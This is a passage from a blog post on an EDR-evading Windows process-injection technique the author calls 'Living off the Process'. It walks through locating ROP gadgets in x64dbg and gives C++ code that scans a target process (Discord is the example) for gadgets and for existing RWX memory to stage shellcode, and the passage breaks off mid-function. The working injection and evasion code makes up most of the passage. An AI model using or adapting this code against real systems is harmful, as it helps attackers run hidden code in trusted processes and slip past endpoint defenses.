</ul>

<p>At no point will we use conventional means of writing our shellcode into the remote process with the exception of writing assembly stubs which will contain 8 byte increments of our shellcode.  It will all make more sense in due time I promise, just keep on reading 😸  Essentially, we will be truly exhausting all that is already available to the remote process itself.  This concept of <code class="language-plaintext highlighter-rouge">Living off the Process</code> has intrigued me for quite some time.  I don’t know how novel the concept really is.  I did know this: I knew it was possible and had to dive in and research it to truly understand the capabilities of such a technique.  I’m on a modern Windows 11 25h2 with all security features enabled btw.  I’ve got a lot of information to cover, so let’s get started!</p>

<h2 id="so-living-off-the-process-huh">So, Living off the Process huh?</h2>

<p>Yes! 😆  It may seem overkill to do all the aforementioned prepwork just to copy shellcode into a remote process, but the benefits far outweigh the labor involved.  Think about it: If everything that we need is already available to a given process, all we are required to do is to take the existing artifacts and repurpose them for our needs.  No need for overusing WriteProcessMemory, VirtualAlloc, injecting a DLL, etc.  This way, everything you need to manipulate the remote process is self-contained and already available to the process.  Furthermore, we’ll be working with a process that EDR has already blessed 😸  So, just like Living off the Land, we take a similar approach.  Using what’s already available to the process, which in turn should lower our EDR footprint on the machine considerably.</p>

<h2 id="video-teaser-for-an-in-depth-technical-walkthrough-of-this-blog-post">Video Teaser for an In-Depth Technical Walkthrough of this Blog Post</h2>

<iframe width="560" height="315" src="https://www.youtube.com/embed/6-eOvC7Rh28" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Full In-Depth Walkthrough can be found at my ko-fi shop: 📹 <a href="https://ko-fi.com/s/35ab60ff88">Ko-Fi Subscribers</a> 📹</p>

<h2 id="part---1-collecting-rop-gadgets">Part - 1: Collecting ROP Gadgets</h2>

<p>Since we will be using Registers (you know…RAX, RBX, RCX, RDX, R8, R9, and so on… ) to eventually write our shellcode, we need to find existing ROP gadgets in the process to accomplish this.  The most important ROP gadget we will be using is:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span> <span class="p">[</span><span class="nb">rax</span><span class="p">],</span> <span class="nv">r8</span><span class="c1">; ret</span>
</code></pre></div></div>

<p>Where <code class="language-plaintext highlighter-rouge">R8</code> will hold 8-byte chunks of our shellcode and <code class="language-plaintext highlighter-rouge">RAX</code> will point to the memory address for the shellcode in the remote process.  You can use any two registers to handle this, I just so happened to choose these two because they seemed to be available across many of the processes I tested on my Windows 11 box.</p>

<p>So, here’s how it works: We will be copying the initial 8 bytes, then increasing both RAX and R8 by 8 to get the next 8 bytes in memory and the next 8 bytes of shellcode respectively.  I soon realized it’s difficult locating <code class="language-plaintext highlighter-rouge">add r8, 8; ret</code> and <code class="language-plaintext highlighter-rouge">add rax, 8; ret</code> gadgets.  Even <code class="language-plaintext highlighter-rouge">inc r8; ret</code> and <code class="language-plaintext highlighter-rouge">inc rax; ret</code> were difficult to locate.  So, I went with another angle to accomplish the portion of my ROP gadget chain that would handle the 8 byte increments which you’ll see later.  For now, let me show you how I found these gadgets.  I’m old school, so I don’t always use Ropper.  I like to work exclusively within x64dbg for most of my gadget searching needs these days.  Here’s a quick crash course on how to find gadgets using <code class="language-plaintext highlighter-rouge">x64Dbg</code>:</p>

<p><strong>Step 1: Choose File, Attach, and find a process you want to search for gadgets in</strong></p>

<p><img width="656" height="383" alt="image" src="https://github.com/user-attachments/assets/6de815b0-87ef-4099-8d69-59f2630a41b0" /></p>

<p><strong>Step 2: Right click on the main window and following the visual below</strong></p>

<p><img width="568" height="555" alt="image" src="https://github.com/user-attachments/assets/6fb34ead-bac1-45cc-8f7c-52790e8bc1fe" /></p>

<p><strong>Step 3: Type in mov [rax], r8 in the window that pops up and hit enter.  This is so we can understand what the machinecode instructions are for this command</strong></p>

<ul>
  <li><strong>Double-click on any entry from the listed results</strong></li>
</ul>

<p><img width="227" height="143" alt="image" src="https://github.com/user-attachments/assets/2a9cbcba-4778-4595-be96-87588e192c24" /></p>

<p><strong>Copy the machinecode/shellcode!</strong></p>

<p><img width="386" height="21" alt="image" src="https://github.com/user-attachments/assets/8dcc13e0-f00f-4686-8b2e-f1ed7477c4f6" /></p>

<p><strong>Next, we need to find the gadget with the <code class="language-plaintext highlighter-rouge">ret</code> command included.  so, mov [rax], r8; ret.  We can do that easily enough.  Follow along with the visuals below to use the Pattern Search feature in x64dbg:</strong></p>

<p><img width="565" height="493" alt="image" src="https://github.com/user-attachments/assets/8308be32-be12-45c0-b39e-3160259f78f2" /></p>

<p><strong>Type in the machine code values you acquired earlier: `4C 89 00 C3’ (C3 = ret in machine code) and hit enter</strong></p>

<p><img width="433" height="237" alt="image" src="https://github.com/user-attachments/assets/12b3e7c6-b490-4d8c-a195-e7e24b7855ea" /></p>

<p><strong>Double-click on any you find in the returned results:</strong></p>

<p><img width="171" height="103" alt="image" src="https://github.com/user-attachments/assets/789ac61a-931e-4c40-9c6d-1daea57814fb" /></p>

<p>You should see your ROP gadget and the module it was found in!  This confirms that particular gadget lives in this process.  W00t!</p>

<p><img width="441" height="123" alt="image" src="https://github.com/user-attachments/assets/b11c9229-1e95-4be7-9a40-4c458438ab22" /></p>

<p>That’s it!  Now that you know how to find gadgets, you’re good to go.  Let me show you the code for using them now.  You’ll see we add in our machine code instructions we found in x64dbg.  Machine code is the lowest level form of Assembly code.  so in the case of <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret', </code>0x4C, 0x89, 0x00, 0xC3` = machine code representation of the assembly code instructions.  I should have said that earlier but alas I got ahead of myself 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Target PID: "</span> <span class="o">&lt;&lt;</span> <span class="n">pid</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Find gadgets (in order of execution)</span>
    <span class="n">BYTE</span> <span class="n">gadget0</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// ret</span>
    <span class="n">PVOID</span> <span class="n">pgadget0</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget0</span><span class="p">),</span> <span class="s">"ret"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget0</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for: ret"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">BYTE</span> <span class="n">gadget3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x4C</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// mov [rax], r8; ret</span>
    <span class="n">PVOID</span> <span class="n">pgadget3</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget3</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget3</span><span class="p">),</span> <span class="s">"mov [rax], r8; ret"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget3</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for mov [rax], r8; ret"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">BYTE</span> <span class="n">gadget12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x5C</span><span class="p">,</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// pop rsp; ret  (go with a non-volatile register)</span>
    <span class="n">PVOID</span> <span class="n">pgadget12</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget12</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget12</span><span class="p">),</span> <span class="s">"pop rsp; ret "</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget12</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for pop rsp; ret "</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p><strong>And the FindGadget() function that finds the memory address for each gadget!</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PVOID</span> <span class="nf">FindGadget</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">pid</span><span class="p">,</span> <span class="k">const</span> <span class="n">BYTE</span><span class="o">*</span> <span class="n">gadget</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">gadgetSize</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">description</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_QUERY_INFORMATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_READ</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="k">return</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="n">HMODULE</span> <span class="n">hMods</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
    <span class="n">DWORD</span> <span class="n">cbNeeded</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">gadgetAddress</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Searching for "</span> <span class="o">&lt;&lt;</span> <span class="n">description</span> <span class="o">&lt;&lt;</span> <span class="s">L"..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">EnumProcessModulesEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hMods</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cbNeeded</span><span class="p">,</span> <span class="n">LIST_MODULES_ALL</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">cbNeeded</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">HMODULE</span><span class="p">))</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">gadgetAddress</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">MODULEINFO</span> <span class="n">modInfo</span><span class="p">;</span>
            <span class="n">WCHAR</span> <span class="n">modName</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GetModuleInformation</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">modInfo</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">modInfo</span><span class="p">))</span> <span class="o">||</span>
                <span class="o">!</span><span class="n">GetModuleBaseNameW</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">modName</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">))</span> <span class="k">continue</span><span class="p">;</span>

            <span class="n">MEMORY_BASIC_INFORMATION</span> <span class="n">mbi</span><span class="p">{};</span>
            <span class="k">for</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span> <span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">modInfo</span><span class="p">.</span><span class="n">lpBaseOfDll</span><span class="p">;</span> <span class="n">addr</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">modInfo</span><span class="p">.</span><span class="n">lpBaseOfDll</span> <span class="o">+</span> <span class="n">modInfo</span><span class="p">.</span><span class="n">SizeOfImage</span><span class="p">;</span> <span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">VirtualQueryEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">)))</span> <span class="k">break</span><span class="p">;</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">State</span> <span class="o">==</span> <span class="n">MEM_COMMIT</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">Protect</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">PAGE_EXECUTE</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_READ</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_WRITECOPY</span><span class="p">)))</span> <span class="p">{</span>
                    <span class="n">BYTE</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="n">BYTE</span><span class="p">[</span><span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">];</span>
                    <span class="n">SIZE_T</span> <span class="n">bytesRead</span><span class="p">;</span>
                    <span class="k">if</span> <span class="p">(</span><span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bytesRead</span><span class="p">))</span> <span class="p">{</span>
                        <span class="k">for</span> <span class="p">(</span><span class="n">SIZE_T</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">+</span> <span class="n">gadgetSize</span> <span class="o">&lt;=</span> <span class="n">bytesRead</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span><span class="p">)</span> <span class="p">{</span>
                            <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">j</span><span class="p">,</span> <span class="n">gadget</span><span class="p">,</span> <span class="n">gadgetSize</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                                <span class="n">gadgetAddress</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">j</span><span class="p">);</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Found in "</span> <span class="o">&lt;&lt;</span> <span class="n">modName</span> <span class="o">&lt;&lt;</span> <span class="s">L" at 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">gadgetAddress</span> <span class="o">&lt;&lt;</span> <span class="s">" !!!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                                <span class="k">delete</span><span class="p">[]</span> <span class="n">buffer</span><span class="p">;</span>
                                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                                <span class="k">return</span> <span class="n">gadgetAddress</span><span class="p">;</span>
                            <span class="p">}</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                    <span class="k">delete</span><span class="p">[]</span> <span class="n">buffer</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="n">addr</span> <span class="o">+=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">gadgetAddress</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That’s a wrap for gadget searching!  Let’s move on to the next requirement for leveraging all the possibilities of LOTP (Living off the Process), finding already created RWX memory regions</p>

<h2 id="finding-existing-rwx-memory-within-the-remote-process">Finding existing RWX memory within the remote Process</h2>

<p>This portion of our <code class="language-plaintext highlighter-rouge">LOTP</code> artifact searching doesn’t require too much effort.  In fact, you can easily check for already created RWX (Read/Write/Execute) memory regions via SystemInformer.  This is probably the easiest artifacts to check as far as Living off the Process goes.  There’s more processes that use RWX than you probably realize 😺  Here’s how to do it.  I’ll be picking on the Discord process as it is a great candidate 😸</p>

<p><strong>System Informer</strong></p>

<p><img width="728" height="420" alt="image" src="https://github.com/user-attachments/assets/f9ed3903-3e81-433a-afe1-8fb9157091fe" /></p>

<p>Now, we want to do the same thing but programatically right?  I’ll share the code to accomplish this below:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Open process</span>
<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Failed to open process (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Successfully opened process handle"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="n">LPVOID</span> <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">LPVOID</span> <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="c1">// Find all RWX memory regions</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Scanning for RWX memory regions (4KB only)..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="kt">int</span> <span class="n">reval</span><span class="o">=</span><span class="n">FindRWXMemoryRegions</span><span class="p">(</span><span class="n">shellcode_base</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteShellcode</span><span class="p">,</span> <span class="n">remoteGadgets</span><span class="p">);</span>
</code></pre></div></div>

<p>Now, let me show you the <code class="language-plaintext highlighter-rouge">FindRWXMemoryRegions</code> function itself. We start by looking through all user modules for pre-allocated RWX memory regions.  Then once regions are detected, I added the option for you the user to specify which region is going to serve as the gadgets memory region, the shellcode memory region, and the fake stack memory regions.  If no RWX regions are found, then I added an alternative default to automatically create the necessary RWX regions.  I realize this is counter to the whole notion of LOTP but the functionality is there if you want to use it.  Also, the fake stack memory region always needs to be at least 0x4000 in size or greater.  So when you pick a memory region, bear that in mind.  🐻  The reason being, well there’s two primary reasons.  API’s use up a lot of stack space and I want to make sure when we execute our shellcode we have enough space for that.  Also, I want a clean stack that isn’t clobber by preexisting data from the process we injected into.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">FindRWXMemoryRegions</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode_base</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span>
    <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteShellcode</span><span class="p">,</span> <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteGadgets</span><span class="p">,</span> <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteStack</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Note: Requires #include &lt;algorithm&gt; for std::sort</span>

    <span class="k">struct</span> <span class="nc">RWXRegion</span> <span class="p">{</span>
        <span class="n">PVOID</span> <span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">SIZE_T</span> <span class="n">size</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wstring</span> <span class="n">info</span><span class="p">;</span>
    <span class="p">};</span>

    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">RWXRegion</span><span class="o">&gt;</span> <span class="n">rwxRegions</span><span class="p">;</span>
    <span class="n">MEMORY_BASIC_INFORMATION</span> <span class="n">mbi</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">address</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="k">while</span> <span class="p">(</span><span class="n">VirtualQueryEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">))</span> <span class="o">==</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">))</span> <span class="p">{</span>
        <span class="c1">// Check for RWX (PAGE_EXECUTE_READWRITE) regions with size greater than or equal to 0x1000</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">State</span> <span class="o">==</span> <span class="n">MEM_COMMIT</span> <span class="o">&amp;&amp;</span>
            <span class="n">mbi</span><span class="p">.</span><span class="n">Protect</span> <span class="o">==</span> <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">&amp;&amp;</span>
            <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span> <span class="o">&gt;=</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="p">{</span> 

            <span class="n">RWXRegion</span> <span class="n">region</span><span class="p">;</span>
            <span class="n">region</span><span class="p">.</span><span class="n">baseAddress</span> <span class="o">=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">;</span>
            <span class="n">region</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">;</span>

            <span class="c1">// Try to get module name for this region</span>
            <span class="n">HMODULE</span> <span class="n">hMod</span><span class="p">;</span>
            <span class="n">WCHAR</span> <span class="n">modName</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">]</span> <span class="o">=</span> <span class="s">L"&lt;Unknown&gt;"</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">GetModuleHandleExW</span><span class="p">(</span><span class="n">GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS</span><span class="p">,</span>
                <span class="p">(</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hMod</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">GetModuleFileNameW</span><span class="p">(</span><span class="n">hMod</span><span class="p">,</span> <span class="n">modName</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
            <span class="p">}</span>

            <span class="n">region</span><span class="p">.</span><span class="n">info</span> <span class="o">=</span> <span class="n">modName</span><span class="p">;</span>
            <span class="n">rwxRegions</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">region</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="c1">// Move to next region</span>
        <span class="n">address</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// Sort regions by size (largest first) to ensure stack gets the largest region</span>
    <span class="n">std</span><span class="o">::</span><span class="n">sort</span><span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">begin</span><span class="p">(),</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span>
        <span class="p">[](</span><span class="k">const</span> <span class="n">RWXRegion</span><span class="o">&amp;</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">RWXRegion</span><span class="o">&amp;</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="n">a</span><span class="p">.</span><span class="n">size</span> <span class="o">&gt;</span> <span class="n">b</span><span class="p">.</span><span class="n">size</span><span class="p">;</span>
        <span class="p">});</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] No RWX regions found (&gt;=4KB)! Falling back to VirtualAllocEx..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteShellcode</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated shellcode memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Allocate separate region for gadgets</span>
        <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
